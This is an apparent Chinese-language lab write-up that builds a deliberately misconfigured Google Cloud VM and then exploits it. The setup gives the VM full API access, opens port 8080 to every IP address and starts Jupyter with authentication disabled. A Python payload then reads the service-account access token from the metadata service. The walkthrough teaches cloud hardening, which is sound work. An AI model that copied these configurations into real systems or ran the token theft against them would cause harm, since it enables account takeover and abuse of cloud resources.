今天我在Google Cloud Compute Engine环境下,针对元数据服务的访问控制机制进行了一次深入的安全配置研究。通过构建一个包含多层级配置问题的测试场景,我完整地演示了云环境中权限配置不当可能引发的连锁安全风险。这项研究清晰地表明:单一维度的配置疏忽,可能在云平台中产生远超预期的权限扩散效应。
🔒 安全研究规范声明
本研究严格遵循以下准则:
-
环境隔离性:使用独立、专用的测试项目
-
操作合规性:在完全授权的范围内进行
-
资源可追溯:所有创建资源均有明确标记
-
善后完整性:研究完成后彻底清理所有测试资源
第一阶段:创建存在配置缺陷的虚拟机
1.1 基础环境搭建
-
登录 Google Cloud Console
-
导航 到 Compute Engine → VM instances
-
点击 "Create Instance" 创建新实例
1.2 虚拟机基础配置
名称: vuln-jupyter-demo
区域: us-central1 (可任选)
机型: e2-micro (性价比选择)
系统盘: Debian 11/12 或 Ubuntu 20.04/22.04
1.3 关键错误配置#1:过度授权的API访问
这是第一个也是最危险的配置错误:
路径: Security → Access scopes
配置: 选择 "Allow full access to all Cloud APIs"
风险分析:这个选项相当于给虚拟机实例授予了项目的"金牌令箭"。实例内的应用将获得对项目中几乎所有云资源(Storage、Compute、SQL等)的完全访问权限。
1.4 关键错误配置#2:暴露的网络标签
展开高级选项 → 网络配置:
网络标签: bad-firewall-rule
这个标签将成为我们后续开放端口的"目标标识"。
第二阶段:配置有安全隐患的防火墙规则
2.1 创建防火墙规则
-
导航 到 VPC network → Firewall
-
点击 "Create Firewall Rule"
2.2 规则详细配置
规则名称: allow-jupyter-8080
目标类型: Specified target tags
目标标签: bad-firewall-rule
源IP范围: 0.0.0.0/0 # 完全开放给所有IP地址
协议端口: TCP:8080
风险分析:这个配置使得全球任何IP地址都能访问该虚拟机的8080端口,为后续攻击敞开了大门。
第三阶段:部署不安全的Jupyter服务
3.1 通过SSH连接到实例
回到 Compute Engine -> VM instances。
点击刚才创建的 vuln-jupyter-demo 右侧的 SSH 按钮。
3.2 安装必要软件
在弹出的黑色终端窗口中,依次复制并执行以下命令(一行一行执行):
bash
# 更新软件源
sudo apt update
# 安装Python包管理工具
sudo apt install python3-pip -y
# 安装Jupyter Lab
pip3 install jupyterlab --break-system-packages
# 将本地路径添加到环境变量
export PATH=$PATH:~/.local/bin
3.3 以不安全方式启动Jupyter
bash
# 解释参数:
# --ip=0.0.0.0 : 允许外部所有 IP 连接
# --port=8080 : 监听 8080 端口
# --no-browser : 服务器模式,不尝试打开本地浏览器
# --NotebookApp.token='' : 【高危】禁用 Token 验证
# --NotebookApp.password='' : 【高危】禁用密码验证
jupyter lab --ip=0.0.0.0 --port=8080 --no-browser --NotebookApp.token='' --NotebookApp.password=''
风险分析:
-
--ip=0.0.0.0:允许任意IP连接 -
空Token和密码:完全绕过身份验证
-
组合效果:任何人都能无认证访问Jupyter并执行任意代码
3.4 访问Jupyter服务
在浏览器中访问:
bash
http://<虚拟机外部IP>:8080/lab
注意:必须使用HTTP协议,而非HTTPS。效果如下:

第四阶段:漏洞利用演示
4.1 在Jupyter中创建Python Notebook
-
点击左侧"+"图标创建新Notebook
-
选择"Python 3"内核
4.2 执行攻击载荷
python
import requests
import json
# Google内部元数据服务的固定地址
metadata_url = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
metadata_headers = {"Metadata-Flavor": "Google"}
# 获取访问令牌
response = requests.get(metadata_url, headers=metadata_headers)
token_data = response.json()
print("[!] 攻击者成功获取的Access Token:")
print(f"Token: {token_data['access_token']}")
print(f"类型: {token_data['token_type']}")
print(f"过期时间: {token_data['expires_in']}秒")
4.3 实验结果
执行后,你将看到类似下面的输出:

我们来对比一下VM的元数据,正常情况下(默认情况下 ),VM会有一个大概的权限范围,如下:

但是,开启 Full Access 的VM,则会有一个完整的权限,如下:

实验总结
你会看到打印出了一长串字符(ya29.c.xxxx...)。这就意味着,任何只要能扫描到你 IP:8080 的人,都可以拿到这个 Token。因为你在第一步给了 "Full Access",黑客可以用这个 Token 在你不知情的情况下创建成千上万台挖矿机,账单全算你的。